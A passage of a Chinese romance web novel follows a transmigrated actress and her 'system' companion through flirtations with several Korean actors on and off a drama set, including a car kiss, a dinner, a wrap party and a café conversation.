谁能对着宋玉妍甜甜的欧巴声不犯迷糊？他只能一直尴尬地和工作人员鞠躬道歉。 这场戏结束之后，趁着拍摄间隙。宋玉妍蹙着眉头，又娇又媚地对着他嗔道：“居然被你给占便宜了！被年纪大的姐姐叫欧巴的感觉怎么样？” 徐仁果好像是有些禁不起逗弄，都不敢直视她，自顾自地拽着衣角，蓝色的袖子被揉得皱巴巴的。被反复调侃了好几次后，他才不得不讷讷道：“都是拍摄需要。” “呀，我不管，占了便宜就要还回来。你快叫我怒那。” 他的脸红透了。 宋玉妍还是不放过他，步步紧逼。把他逼到整个人都缩在墙角，1.8m的个子，看起来可怜极了。 漂亮清透的眼睛盯着他，不达目的不罢休。“快一点，下一场戏就要开拍了，你快叫我怒那。” 这边人少，没有路过工作人员可以帮他解围。徐仁果对上宋玉妍似笑非笑的丹凤眼，最终还是妥协了。 他垂着头，像是要把自己埋进地缝，面色冷淡，耳根却通红。最后不得已，才小声地嗫嚅了一句，“怒那。” 宋玉妍得偿所愿之后，就不再娇缠着他，自己开开心心地去找化妆师补妆。 只留下男二号自己在原地默默把脸上的温度降下来。带着露珠在清晨绽放的荔枝玫瑰味道，在空气里萦绕不散。挥之不去的甜香充斥着他的鼻尖，看着宋玉妍离去的背影，让他的心脏随着韵律一颤一颤。 系统默默吐槽了一句，「宿主你吃的真好。」 「及时行乐嘛，你知道的，李正宰是一个很无趣的男人。」 等戏份全部都结束时，走出片场路过的工作人员都在和她道谢。她有些不明所以，还是白善英仗着关系熟稔神神秘秘地凑了过来。 “你和李正宰那位大前辈是什么关系？” “莫？”什么时候八卦的风从裴永俊那里，吹向了《主君的太阳》剧组？ “别装傻？关系不好人家给你送应援咖啡车？”白善英撇了撇嘴，捧着手里的咖啡，咬着吸管啜了一口。她之前可没有听说那位给谁送过应援车，这还是第一次喝到。 宋玉妍这才发现，今天的工作人员人手一杯咖啡。再看仔细一点，那杯套上印着的头像就是她自己。 手机响起，接通后是熟悉磁性的声音，” 给你送了咖啡应援车，你同事们应该现在喝到了吧。” 第23章 第二十三章 “你这是在干什么？”宋玉妍朝走过来拿着咖啡的工作人员笑了笑，捏着手机往人少的地方避。 “履行床伴的义务罢了。”李正宰压低嗓音，这让声音听起来更加磁性低沉。 且不说她还没有同意，就算是已经同意了，送咖啡应援车也不是床伴的义务。 “你知道的，我的选择不止你一个，你凭什么觉得我现在会答应你？”她歪头夹着手机，漫步走到咖啡车。 “一杯冰美式，杯套就不用了，谢谢！”宋玉妍拿着自己头像的杯套招摇过市，还是会有些羞耻。不经意地抬头一看，发现制作咖啡的是意想不到的人。 “崔俊秀xi？你怎么来了？”有些惊喜，她没想到在这里能见到故人。两人之前也算是单方面共患难的关系了。 再一次见到宋玉妍的崔俊秀，先是巨大的狂喜向他席卷而，随后夹杂着一些苦涩。光鲜亮丽的服饰和精致的妆容像是一层盔甲，把他从对方的世界隔开。 “有人在我们店里定了你的咖啡应援车，我也是拿到杯套以后，才知道是要给你应援的。”崔俊秀贪婪地看着宋玉妍娇媚的脸蛋。 又因为回避性不想再见到的心理，这让他的内心在撕扯，视线和她反复对上又闪开。 “这样啊。”她怎么会注意到对方拧巴的心理。 冰美式做好，冰块在浅棕色的咖啡液里沉沉浮浮。崔俊秀知道她不喜欢冰美式，还在里面加了两颗划了十字刀的青柠和几片薄荷叶，这样喝起来味道会更加复合。 身后传来两声“滴、滴”喇叭声，宋玉妍接过冰美式转头一看，黑色的宾利慕尚打着双闪停在她左边。 李正宰摇下车窗，脸全部露了出来。手臂搭在车窗上，手指在边缘敲了敲，背头的造型显得他雅痞十足。“一起去吃个晚饭？” 宋玉妍没有理他，和崔俊秀道别之后，自顾自地找了个地方等助理。 招摇的豪车、加上他丝毫不注意被拍，大大方方地把脸没有遮挡地露了出来。来往的工作人员看到后，纷纷投来好奇的目光，之前没有听说自己剧组的演员和这位大前辈有过交集？ “上来吧！不然明天头条就是你和我之间的恋情了。”李正宰半是威胁半是引诱道。 打开后座车门，宋玉妍就当不在意，打算直接地坐上去。 “坐前面。” 她撩了撩头发，打开前车门捋了捋裙摆，然后侧身坐上。车厢里满是浓烈饱满的烟草气息，若有似无的巧克力味道混杂其中。 李正宰没有急着启动，而是先靠近她的身体，直勾勾地盯着她水光感十足看起来很好亲的嘴唇。他的头偏了一点，看起来攻击性拉满，让人觉得下一秒就会亲上去。 在看到宋玉妍没有情绪变化时，她的眼底满是厌倦。他的眼里划过失望，最终还是放弃本来的目标，给她拉上安全带，手不自觉地在细腰多停留了一会。 “介意我点支烟吗？” “随意。”她耸了耸肩膀。 烟被点燃，黑巧克力的味道更加浓郁，烟雾模糊了他的侧脸。“所以我们现在是什么关系？床伴？” “我有比你更好的选择，你知道的。”宋玉妍的长卷发幽黑又浓密，脸蛋柔软又白皙，整个人看起来比之前状态更好了。 听到她亲口说出的回答，李正宰一直压抑的心脏传来愤怒的滋味。他握着方向盘的左手更加用力了，随后狠狠地把银色的烟嘴塞进口腔，重重地吸了一口。 宋玉妍只觉得这一刻的他完美戳到自己的xp。禁欲的英式黑色格纹三件套，佩斯利花纹的领带可以略微窥见一些他内心的野心勃勃，烟雾为他的脸增添了一丝不可捉摸的氛围。 但面上还是一片古井无波，她收回之前说李正宰无趣的话语，至少现在她对对方西装下的身材很有性致。她的视线不着痕迹地在马甲和领带上打转。 尼古丁的滋味像是让李正宰稍稍冷静了下来，他勾唇笑道：“更好的选择？徐仁果？”像是被这个答案给逗笑了，他也真的笑出了声。 “你不会喜欢他的！他给不了你想要的。” “有没有人说过，你学老钱贵族用横膈膜发力的方法去笑，笑得很假！”宋玉妍没有正面回答这个问题。 他的脸色暗沉了，随后又调整好了表情，“一个连经纪公司桎梏都无法挣脱的小演员，他现在能给你什么？宋玉妍xi，你知道的，我不是什么好人。” 宋玉妍只觉得李正宰变了，这种变化却莫名戳中了她。 如果说之前他在她面前都是戴着面具，伪装成一副绅士稳重的样子。那现在，终于掀开这副面具的一角，露出他的一点真性情。 所以她解开了安全带，俯身凑他更近，下一秒，李正宰只觉得右手的食指和中指指腹贴上了一片柔软。 她就着他的手，浅浅吸了一口烟，然后毫不费力地从他指尖抽走细长。然后再吸了一口，黑巧混合着烟草和玫瑰的味道，复合又勾人。烟重新回到李正宰的指尖，烟雾后，是她慵懒又妩媚的笑容。 视线往下，香槟色的连衣裙勾勒出窈窕曲线的美好弧度，自己指尖上微弱的火光快要燃尽。他的呼吸滞了一拍，发现指腹上留有浅粉色的唇釉印，恍然觉得宋玉妍这段时间会了很多。 最后一口烟宋玉妍没有吐烟圈。手指从他侧脖颈处开始轻点，划过裸露在外的肌肤，在喉结处稍作停留，最后一路向下。 李正宰很配合地仰起头，喉结处不自觉地慢慢吞咽，饶有兴致地看向她，不知道今天还能带来什么样的惊喜。 她从衬衫的大八字领下把领带抽出，然后卷起，最后握住领结，往副驾驶这边用力一拉。迫使着他低头、身体顺着动作前倾。 下一秒，含着烟的嘴唇用力贴了上去，交换着彼此的气息。清晨玫瑰的味道更加浓郁了，几乎要把烟草味完全盖住。 被她着猝不及防的动作给打了个措手不及，李正宰被浅呛了一下。 宋玉妍达成了自己的目的后，就把人放开了。丝质的领带被弄得松松垮垮，温莎结完全不成样子了。 “卡比龙黑总裁这样抽才够味，对吗？”她含笑地看向对方，眼底暗藏一抹挑衅。 他整理着凌乱的衣领，没有立马回答，平复着自己的气息。看到自己的领带是恢复不到原状了，干脆就完全抽出然后取下，随手扔到后座上。 李正宰内心五味杂陈，两人分手的这段时间她是拍了多少吻戏，吻技才能进步到这种程度？ 对上宋玉妍挑衅的眼神，他直接把自己的安全扣解开，然后下车打开副驾驶的车门，一气呵成。 顾不上对方错愕的眼神，炙热的手掐着她的后脖颈，让宋玉妍不得已仰着头，犹如濒死的天鹅在展示它优美的颈线。另一只手握住她的侧腰，然后不断收紧。 他的膝盖半跪在座椅上，开始不满足于浅浅贴住，从含转为吮吸。看着宋玉妍布满水雾的眼眸，从来就没有觉得对方如此好亲过。 等对方勾住他脖子的手臂变成挣扎之后，李正宰才放开脸色涨红、气喘吁吁的人。 “这样烟确实是更好抽，要不要再来几根？”他重新站在车外，拿出纸巾把手上的黏腻擦拭干净，然后单手插兜，仿佛刚才那个意乱情迷的人不是自己一样。 宋玉妍瞪了他一眼，“不是说吃晚饭吗？” “晚饭好像也不是那么重要。”衬衫被散开几粒扣子，没有系领带的李正宰， 看起来即雅痞又色气十足。 好像这一次的亲近，彻底打碎了什么。对方一直在原主面前维持的稳重、可靠、理性的面具，终于又褪去了一点。 不可否认，这个样子的李正宰，勾起了她心底的好胜心。 从金乌西沉到华灯初上，宾利终于启动。车子从车流中不断加入然后退出，掠过比银河还要璀璨的灯光。李正宰只觉得这些都不及她眼底细碎的光芒。 看着她像是什么都没有发生过一般，自顾自地在副驾驶做着自己的事情。从补唇釉到玩手机，仿佛真的只把他当个司机。 李正宰还是主动开口道：“给你应援的咖啡车，徐仁果有喝吗？味道应该还不错吧。” 宋玉妍终于把视线投注在他身上，只觉得他像是有病一样。“你下次不要搞这些了，我们关系难道很拿得出手吗？” 就当没有听到后半句话，他说：“多去应援几次也好，有些人就应该多喝几杯冰美式，让脑子清醒清醒。” 看到她又不理自己，李正宰憋气，只能把怒火发泄到开车上。车速开得更快，一路上不断地塞车。 乐天世界塔81楼stay法餐厅。 虚假的刀叉被放在餐桌上，真实的刀叉从两人嘴里吐出，不断交锋。 “我想要真露的代言。”宋玉妍理直气壮道。 “你不是刚拍完果汁的广告吗？这两个也算是饮料类竞品。”李正宰有些无奈，就算是可以拿下，她现在也不能代言啊。 没有达到目标，宋玉妍双手抱胸不爽道：“只是一个cf，我又没有代言九日？你在忠武路这么多年白混了，我想要一个烧酒代言都不行吗？” 李正宰觉得他完了，就算宋玉妍发脾气他也觉得好漂亮。之前从来没有过的耐心，对上这张脸蛋居然奇迹般地被唤醒了。 “还有我不要电影剧本，现在导演只会拍一群臭男人，没什么意思。”宋玉妍理直气壮、一条一条地提着自己的要求，像是笃定对方不会拒绝。 他只觉得幸好自己还有这些人脉资源，能够吸引到她。“好，到时候我让权相俊把本子和代言拿给你挑。” 顿了顿，他还是坦然地把嫉妒宣之于口，“你以后和徐仁果保持点距离，免得蹭上你的名气之后就被吸血。” 第24章 第二十四章 餐桌上长条蜡烛烛尖闪烁，温柔的火苗跳动这，勾勒出一个温柔的小世界。 就着柔和的小提琴声，宋玉妍用银制的叉子叉住盘里的龙虾肉，然后把它裹满柠檬奶泡和苹果调味料，优雅地放进嘴里。 这是她这辈子吃过最好吃的一顿，好憎恨这些有钱人。 “你对别人未来的女朋友占有欲还挺强。”她用纸巾压了压嘴角的蘸料，“我们之间可不是能限制对方交友的关系呢！李正宰xi。” 对她话语里的冒犯，李正宰完全生不起气来。 只觉得对面的人笑得很漂亮，像是夏日暖风里被吹得慵慵懒懒的荔枝粉玫瑰，明媚又灵动。 难得这么好的氛围，他不想和她争执生气，换了个话题。“东国大学的校庆你会去吗？” 宋玉妍只觉得他哪壶不开提哪壶。她又不像他一样，忠武路地位稳固的中坚力量，是能让东大能在中央大学面前扬眉吐气的优秀毕业生。 “我又没有收到邀请，要去你自己去！”觉得他在自己面前炫耀，她皱了皱鼻头，“我不要喝红酒，给我换成轩尼诗李察。” 李正宰解开西装外套上方的第一颗扣子，把西装脱了下来交给侍者。“佐酒都是配好了的。” “你是不是快要破产了，一瓶酒而已。”她并没有退让反而得寸进尺，一步步试探着对方的底线。 就像是猫咪，喜欢在人的底线上反复蹦跶。等人真的生气之后，它又娇娇嗲嗲地哄你，凑过来冲着你撒娇、翻肚皮，主动给你摸。 “那就点吧。”李正宰挽起袖口，等酒上上来之后，按照酒、软水一比三的比例给她到了一杯。然后做了个手势示意她喝。 宋玉妍用手指勾过酒杯，先是纯饮了一口，薄荷、奶油、雪和太妃糖的香气混合在一起。柔和的酒液带来独特的口感让她有些上瘾。 就着茉莉花慕斯，一口酒一口蛋糕。她高估了自己身体的酒量，不一会，脑袋有些昏昏沉沉了。 三个多小时的法餐结束。 宋玉妍打了一个小酒嗝，在侍者将李正宰的西装送来时，一把抢过，然后披在自己身上。然后抱着他温热的手臂不放手，“欧巴，首尔的夜风可凉了呢！你不介意吧。” 听到她这声娇软的欧巴，李正宰只觉得半边骨头都要酥掉。面上还是一片冷淡，好像对手臂上挂着蹭来蹭去的人毫不在意。几乎是半拖着她下电梯，时不时地还要扶着，让她站好。 坐在车里后，他开了一点暖气。 宋玉妍已经微醺，脸上满是潮红，像是娇嫩到一掐就能出汁水的玫瑰花瓣。“欧巴，今天晚上是你家、我家还是？” 他不和醉鬼计较，两杯兑水的白兰地，就能醉成这样。就这点酒量，还要换成烈酒。 李正宰把她塞进副驾驶，然后拉上安全带。眼睛不经意地瞄到衣领里的白皙处，想到她说去自家的话，眼神幽暗了一瞬。 有几缕头发被安全带压住了，他温柔细心地抽出。随后手指移动到脖子，侧面的线条纤细流畅，他舔了舔虎牙尖，没有丝毫怜香惜玉地揉了揉。 直到一个红色的指印出现，李正宰他才罢休。 没有之前手感好了。脑海里忽然浮现这样一个想法，果然分手之后宋玉妍照顾不好自己。 糖分和酒精在体内升腾，宋玉妍是真的累了，阖上眼睛休息。醉酒后的媚态和娇态被驾驶位上的人一览无余。 纤细的身躯裹着他西服，显得愈发小巧单薄，看起来乖巧又温顺。李正宰觉得，如果她能一直这样该多好。 车才到江南区，偶遇警察设卡查酒驾。他摇下车窗，刚对着酒精测试仪吹了一口气，就被宋玉妍手动把头扭过来。修长柔软的手臂像是柳枝一样，轻轻地勾住了他的脖颈。 他可以挣脱的，但是居然没有第一时间推开。 “欧巴不是喜欢喝酒吗？为什么晚上不一起喝酒？明明我们都能一起抽烟。”宋玉妍娇憨道，对着他的薄唇就是一吻。舌尖轻轻地探了过来，一边游荡一边吸吮。 李正宰第一反应是很软，软到让他不太敢用力回应。对上窗外警察震惊的眼神，只觉得自己从头皮到尾椎骨都在阵阵发麻。 他带着几份恋恋不舍地把宋玉妍推开，把她的安全带重新扣好。然后下车朝交警解释道：“我没有喝酒，女……女朋友喝了酒，现在吹，酒精含量肯定超标。” 对方应该是认出了他，怀疑的态度让李正宰有些烦躁。 好不容易商量好，交警同意让他漱完口再测试酒精含量。李正宰从车上的小冰箱里拿出矿泉水，站在街边疯狂漱口。一瓶见底后，他这才觉得嘴里的白兰地味道散了一点。 测完酒精后，警察确认仪器上的浓度没有超标，挥手让他走了。 路上，李正宰给宋玉妍的助理打了电话，让她在指定地点把人接走。他已经开始吃不消了。 要分别时，宋玉妍还依依难舍。“欧巴，你真的不带我回家吗？我最喜欢欧巴了。”眼睛里满是委屈和依恋。 李正宰心脏跳漏了一拍，看着她微微嘟着唇，娇憨的让人心动。双眼酡红、两眼迷醉，一看就知道是醉话。他对自己的自制力感到失望，被对方这么随后一撩，就溃不成军。 顺手摸了摸她的卷发，把头顶的弧度压塌了一点，他轻声：“不可以哦，晚点还要回《观相》剧组呢。”磁性又温和的声音听起来十分柔和，但话里全然是拒绝。 然后把整个人都黏在他身上的宋玉妍给撕了下来，李正宰把 她交到助理手里。 看似潇洒的开车走了，实际回去路上，脑袋里自动循环播放那句“我最喜欢欧巴了。”甚至都盖过了车载音响的音量。 车厢里满是白兰地的糖渍酒味，混合着丝丝甜腻的玫瑰味道，他只觉得透不过气。以往轿车强悍的新风模式，显得捉襟见肘。 感觉身体的每个细胞都像是浸泡在玫瑰味的白兰地里，让头脑他阵阵发热。打开车窗，让夜风把味道带走的话，他又舍不得，只能在这种似醉非醉的状态下开了一路。 到家后，去隔壁完成今日份和郑宇盛见面的任务后。李正宰又刷了几个《主君的太阳》剧组的花絮。最后不是很熟练地点开徐仁果ins，最上面一条就是秀宋玉妍做的饭团。 刷到这一条，他冷笑了一下。对方这是在挑衅他吗？上次ins发的是宋玉妍给他送的药，这次是饭团，下次呢？他要找个机会和的社长好好聊聊了。 发热的头脑终于在躺在床上时，冷静了下来。他轻声笑了出来，没事，优秀的猎人向来都很有耐心。 另一边被照顾妥帖的宋玉妍，早就换上自己的棉麻睡衣，舒舒服服地在床上侧躺着。眼底一片清明，哪还有一点醉意。 「女人三分醉，演到你流泪。宿主，你真的不考虑再去接一点电影本子吗？预定一下明年的青龙。」 「闭嘴，演了一天我很累的。」从剧组演到吃饭，再到醉酒，领一份钱打两份工。 —— 时间一点一滴地过去，在《主君的太阳》剧组的戏份都已经接近尾声了。 这段时间宋玉妍和李正宰都在剧组拍戏，就算是见面也只是抽时间吃个饭，都还没有履行“床伴”的义务。 上次他来剧组，她上了对方的车，被很多工作人员看到。但没有人当面问宋玉妍，她也就当没有过这件事。 徐仁果倒是好几次欲言又止，每次话都在嘴边又被他硬生生地给咽下去。 宋玉妍看着都替他难受。但是不得不说在剧组枯燥的拍戏间隙，能逗逗年下弟弟，还是很有意思的。 专门负责拍摄花絮的pd走了过来，“宋玉妍xi，你和徐仁果xi的cp粉在网上很磕你们两个，能做个采访放小剧场吗？” “当然没有问题。”徐仁果点头就算是答应了。 pd带着他们两个找了空的化妆室，然后拿出台词卡，先对着宋玉妍开始发问。 “第一个问题，宋玉妍xi的理想型会是姜宇这样的吗？” 她思考了一会，“算是吧，我的理想型是年下、1米8、有肌肉、演技好……外加有泪痣，所以姜宇勉强算是理想型。” 说到泪痣时，她看向徐仁果。泪痣并不是戏里角色姜宇的，而是扮演者赋予他的角色锚点。 pd没有想到，第一个问题，宋玉妍就直接打了个直球。让采访的男主角不敢直视搭档，只能木呆呆地看着镜头，耳根蔓上绯色。 这两人光是reaction就很好磕。 pd觉得这不是工业糖精，多少都带着一丝真情实感了。 “第二个问题，徐仁果xi，你的理想型是太伊玲还是宋玉妍？” 他把头埋得更低了，就像是地下有着什么至关重要的东西，不肯挪开半分视线。 麦克风夹在衬衫领边，徐仁果小声但是坚定的声音通过收音设备传来。 “姜宇会选择太伊玲，但是我会选择宋玉妍。是宋玉妍xi赋予了这个角色血肉，所以我们爱上的是同一个灵魂。” 摄制组已经完全磕疯了，这完全超越了营业的范围。说不定到时候盘点圈内因戏生情的情侣时，又会多《主君的太阳》里这么一对呢。 pd嘴角的姨母笑完全放不下来。“下一个问题，现实中最欣赏对方哪一点？” “很多！”两人异口同声道。 他终于鼓起勇气看向宋玉妍了，对上她娇美的脸。宛如玫瑰园里最特别的那一朵，让人情不自禁地心脏加速。 默契让两人相视一笑，化妆间里的多巴胺满得都快装不下了。 “可以细数一下吗？” 宋玉妍率先先回答，“情绪稳定、性格好、细心、1米8、爱健身、演技不错，对了还有帅气。”话里话外都在指明，对方就是自己的理想型。 “温柔、漂亮、厨艺好、热心帮助别人、勇敢、善良。” 结束完采访，pd和摄制组的人都觉得，今天糖分超标，无需额外的摄入。 第25章 第二十五章 白善英在化妆间找自己笔下的“女主”八卦。对她来说，太伊玲才是她倾注爱意浇灌出血肉的角色。 所以负责副cp感情线的她认为男女主是太伊玲和姜宇，而不是太恭实和朱中元。 “宋玉妍xi？你的理想型真的是徐仁果这一款吗？”如果不是营业的话，她只觉得作为最大的cp粉头是过圣诞了。 “当然，就算是营业我也不太会说假话。”宋玉妍坦然道：“最多发一点官方的工业糖精。” 面对在剧组没有利益纠葛的好友，她久违的袒露自己的内心，“我的理想型就是年下1米8的情绪稳定的小狗。如果能拿到三大电影节的奖项就更好了！” “那……你和李正宰xi呢？是在恋爱吗？” “当然不是。” 宋玉妍满口否认，玩味地看着白善英，瞟了一眼门口一闪而过的身影。音量压低：“你知道的，有些人只适合玩玩，既不适合恋爱也不能结婚。老男人的心眼太多，算计也多，相处久了很累的。” 白善英恍然地笑笑，点头表示赞同，女生把性、爱分开，远离恋爱脑。 化妆间的门没有关，路过不小心听到的徐仁果若有所思。三大奖吗？这就是宋玉妍对他隐晦表达好感时，拒绝的原因吗？ 他黑眸垂下，有些难过地皱了皱眉。本来打算等对方杀青之后，就捧着鲜花和蛋糕表白。现在看来，还是要先专注于发展演艺事业。 不然某些前辈“好意”请的冰美式，他都不得不把讨厌的苦涩咖啡液喝完，没有拒绝的余地。 这段剧外采访一经放出，很多观众开始嗑“赤北夫妇”的cp。逐帧逐帧地在不多的戏份里扣糖吃，油管上二创的制作者变多。 宋玉妍最大的感受是去买咖啡时，找她合影的人变多，他们也能叫出自己的角色名。甚至还有剧粉大胆地询问她，准备什么时候和姜宇公开。 大家真情实感地嗑cp，她也大大方方地好好营业，剧播期间做好售后。 走出咖啡店，才发现和金秀闲拍摄cf已经投放地广了。商场外的巨幅海报上，他一人就占据了三分之二，而她只留下一个小的不能再小的背影。 她驻足欣赏了一会，觉得自己的脸蛋没有出现在上面，是九日果汁的损失。 想到之前崔玉珍说金秀闲想要自己的联系方式，宋玉妍没有给。她从不会在没有价值的人那里浪费时间。 裴永俊能帮她接洽好的资源；徐仁果能提供情绪价值；李正宰是系统指定的攻略对象……以及他的身材是真的很好，没吃到这一口，她此生都会遗憾的。 杀青这天，首尔夏日的第一场雨来得又快又急。 宋玉妍站在剧组布置的红毯上，手里挽着的是徐仁果，黑色的鱼尾裙被她扭得摇曳生姿。恍然间，她有些分不清自己是太伊玲还是宋玉妍，身旁这位到底是姜宇还是？ 演了这部剧，就像是谈了一场短暂又美好的恋爱。久违地尝试这种，勇敢、直白追逐爱意的人设，何曾几时她也是这样。 捧出一颗真心，赤裸裸地将它展现给心爱的人看。 她把剧组的戏服换下来，换成自己的绿色挖腰裙。 一走出化妆，宋玉妍就听到礼花“嘭”的几声响起。五颜六色的彩带夹杂着金银丝在空中炸开，几缕散在她的发间。工作人员推着车，上面是一个巨大的五层蛋糕。 白色的奶油是主 色调，最底下一层像是一个六边形的钻石，每一面都绘上了绿色的雪柳叶。浅金色的桔叶裱花，一个个在银色的底托上盛放。每一个蛋糕间的连接处，从上到下依次插满粉色的荔枝玫瑰和绿铃草。看起来漂亮又用心，很多人的婚礼蛋糕都没有这么精致。 她接过徐仁果递过来的蛋糕上同款的玫瑰花束，粉色的花朵和外包装上的白色碰撞在一起，很是好看。系带是嫩绿色细绳，丝绒质地，和宋玉妍今天裙子的颜色呼应。 有些感动，她用纤细莹白的手指捂住自己的下半张脸。“哦莫、哦莫，你们太用心了。这是对我最用心的一个剧组！”一个女二的杀青，弄出的阵仗这么大。 知道内情的场务看向徐仁果，对方朝他摇摇头。他也就选择不说出实情。 “宋玉妍xi，杀青快乐。”徐仁果张开自己的怀抱，朝她邀请到。眼底满是不舍，身上的每一个细胞仿佛都在难过。 看着对方还是没有换下戏里的西装，这份道别显得格外地郑重其事。宋玉妍拿着花束，分别时沮丧的气息弱化了她五官的攻击性。 双手没有犹豫地环抱他的肩膀，皓腕如雪，眉眼间满是娇媚甜软。在他保持身体安全距离的时候，没有迟疑地选择拉近。 他的手没有选择回抱，而是握拳放在身体两侧。右腰侧，那抹粉白的肌肤他有些不敢碰上去。心脏怦怦跳得很愉悦，简直像是要从嗓子眼里蹦出来，让宋玉妍看看自己的一片赤忱。 浅浅呼吸，带着浓郁的玫瑰甜味，热息喷洒在他的脖颈间，像是有蚂蚁在慢慢巡视自己的领地。 徐仁果低头，眼底像是含了一汪春水，看向她的发旋。只觉得上帝太偏爱她了，就连头骨都给勾勒的如此完美。 分别是人生的常态，但这一刻，记忆定格在多巴胺浓度最高的一瞬间，大概这辈子他都不会忘记。 拥抱持续了很久，直到对方退出怀抱，他的杏仁核和海马体把那股清甜的玫瑰味珍藏在情感中枢里。 看到杀青的主角一手拿着鲜花束，一手轻轻整理裙摆上的弧度。空闲着的工作人员都上前道贺。 “这周你们在一起的收视率破了30，说不定宋玉妍xi以后会是热剧女王呢！” “宋玉妍xi，粗卡密达。以后一定要走花路啊！” “希望以后能在银幕上多多见到你闪耀的美貌。” …… 她走到蛋糕前，一边回应着大家的祝福，一边拿起银质的刀，切下的第一块装在盘子里。然后放到身边徐仁果的手上，“谢谢你。” 再次一一道别后，看着蛋糕一点一点被工作人员分掉，散落彩带的场地被收拾干净。她的化妆间被挪给其他女角色，宋玉妍这才有了尘埃落定的感觉。 坐着黑色的保姆车，在首尔的大大小小路段穿过，这条路这段时间车轮碾过上百次。窗外的景色依旧没有什么变化，路障一如既往、店铺一如既往，就连黄昏的景色都是一如既往。 崔玉珍按照之前的要求，和往常一样把车停在coffee&city的门口。 后座上的艺人看着窗外静止的景色发呆，她没有催促，而是打开车窗通风。然后静静等她消化完自己的情绪。 宋玉妍发现咖啡店的风铃换了一个，从灰色换成了梦幻的紫色。紫藤花的造型，看起啦像是琉璃的质地，挂在棕色大门的金属把手上，风格一点都不搭。 她来了兴趣，下车推门而入。清脆的风铃声听起来轻巧又灵动，和之前低沉的声音一点都不一样。 今天崔俊秀不在，吧台是另外一位女店员上班。宋玉妍走过去，放纵自己点了一杯榛子摩卡吗还加了一份焦糖。 本来是想在窗边看着日落喝咖啡的，结果发现角落里坐着一个熟悉又高大的身影。 她调转了脚步的方向，脑海里沉闷的情绪忽然一扫而空，明媚的微笑重新绽放在宋玉妍的嘴角。 “hi，郑宇盛xi？”她坐在他对面的棕色皮质沙发上，娇俏地朝着他面前挥了挥手。 “宋……宋玉妍xi？”看起来魂游天外的人刚回神，看到在这里出现的她，眼睛里充斥着惊喜。郑宇盛嘴角想要挂上像以往那样，阳光又真挚的笑容。 他做到了，就是笑容夹杂着些许苦涩。 “你怎么会在这里？”两人异口同声道。 只见过依次面的陌生感消逝不少，空气中的尴尬的气氛为之一松。 郑宇盛不自觉地把身体放松，肩膀往后一靠，更多的压力由后面的沙发承担。 “之前在这里兼职过一段时间。” “诶？大学时期吗？”他有些疑惑。 “阿尼，是在跟这个组之前。”宋玉妍很是坦然道：“那段时间经济状况有些糟糕。” 经济不太好吗？郑宇盛有些想要开口，但是最终觉得有些冒犯。想到之前的朋友。他的脸色有些难看。 她端起白瓷咖啡杯小口小口地喝着，看向窗外的人生百态。 有人抱着吉他握着话筒，正在露天公演，追逐着梦想；有人抱着一束花，步履轻盈地走过；有人蹲在酒吧门口，衣领散乱，神情沮丧又颓靡。 “那你呢？郑宇盛xi，为什么会出现在这里？”她声音轻柔，糯甜糯甜的。 “我……我有一个朋友，他的一个朋友说自己母亲生病了，找他借了一笔数额很大的钱。”郑宇盛也不知道为什么，会和一个不太熟悉的人袒露自己的私事。 “现在我才知道，他的朋友原来是骗他的，只是觉得找他借钱很容易。你说，我…朋友是不是一个pabo？经常被人骗？” 宋玉妍一听，就知道他是在无中生友，努力压抑着眼底的笑意，但还是没忍住泄露出两分。 第26章 第二十六章 “也许不是pabo，而是因为你善良呢，你未必不知道他有可能在骗人，只是不想去赌那份微小的可能性。”宋玉妍双掌合十，用手拖着下巴，温柔含笑看着对方。 看着她笑靥如花，郑宇盛有些失神，好像什么时候看到过一样明媚的笑容。“你知道是我了？” 隔着咖啡桌，看着他像是金毛那样眉眼耷拉。有条平时仿佛恨不得摇成螺旋桨的尾巴，现在低垂耷拉在身后。 她用纤细的手指点了点他的咖啡杯，发出清脆的碰撞声音。“圈内像你这样善良的前辈并不多。”微微撅起的粉唇，带起白嫩嫩的脸颊肉嘟了起来。 郑宇盛终于被她逗笑了，这么好看又有趣的后辈很少见。 “等我开了经纪公司，第一个就签你。”他毫不犹豫地发出offer，只是觉得每天在公司能对上这样一张脸，拍戏的时候心情都能变好不少。 宋玉妍又听到似曾相识的话语，脸色有些僵硬，他对签自己是有什么执念吗？这让她又陷入了回忆，心脏像是被万千根针刺入，引起一阵阵细细密密的疼痛。 好不容易把不为人知的心绪收敛起来，她收拾好情绪后抬头。发现没有发腮、刚刚步入40代的郑宇盛简直就是帅气加倍。 这让宋玉妍忍不住用眼神，肆无忌惮地在他身上“欣赏”着。黑色的菱格纹圆领毛衣，里面内搭了一件白衬衫。发达的胸肌把衣服撑得微微外扩，柔软的衣服质地显得他整个人更加温柔。 “签约还是算了，李正宰每天都板着脸，我可吃不消，况且……”这样的郑宇盛看起来很好说话，仿佛什么样的过分要求都会答应。 他问：“况且什么？” “况且，我从不和老板恋爱。”宋玉妍的手指在蛇形金属耳环垂下来的碎钻流苏上摩挲。 日落柔和的浅金色给她的脸上打上一层朦胧的光晕，美好又梦幻。 这样隐晦的直球让郑宇盛有些招架不住，脑海中驶过万千思绪，对方这是在撩他吗？这是对他有好感的意思？ 顾及到上次她和李正宰之间的亲近和默契，他到底还是没有捅开那层薄如蝉翼的窗户纸。郑宇盛不自然地整了整衣领，问道：“那你呢？你是碰到了什么事情吗？” 宋玉妍过来打招呼时，脸上一闪而过的郁色被他看得一清二楚。他没有想到这个李正宰带他来过一次的咖啡馆，居然会成为他低频时的港湾。更没有想到，会在这里碰到一见钟情的对象。 不管是《监视者》剧组 的琐事，还是被朋友欺骗，郑宇盛在心情沮丧时，脑海里鬼使神差地想到了这里。他顺着自己的潜意识，来到了这，碰到了宋玉妍，也许这就是命运吧。 细腻的咖啡液滑入口腔，苦涩的味道后是一点微甜的回甘，烘培正好的豆子香味萦绕在他的鼻尖。他脸上的笑容更加纯粹真挚，捋了捋额前碎发，更加轻松道：“所以说说吧，你为什么心情会不好。” 宋玉妍的眼睛里像是掬了一捧亮晶晶的碎光，眼底像是有把小勾子，让人不禁沉沦。她没有丝毫隐瞒，“也许是因为太久没有拍爱情片了，我好像是有些入戏，刚杀青有点戒断反应。” 同为演员怎么会难以出戏不感同身受呢？ 郑宇盛忽然有些胆怯对上这双眼睛，在她看向自己时，目光落向别处。 “那要不去看看心理医生？”他还是给予了专业的建议。 “没用的！”她像是有些失望，脸重新转向窗外，只留下恬静的侧脸。 一时间两人都没有说话，“There‘sawindthatblowsinformnorth……” 不远不近处的胶片机里传来女声温柔磁性的吟唱，ehere》的四分音符在两人之间静静流淌。 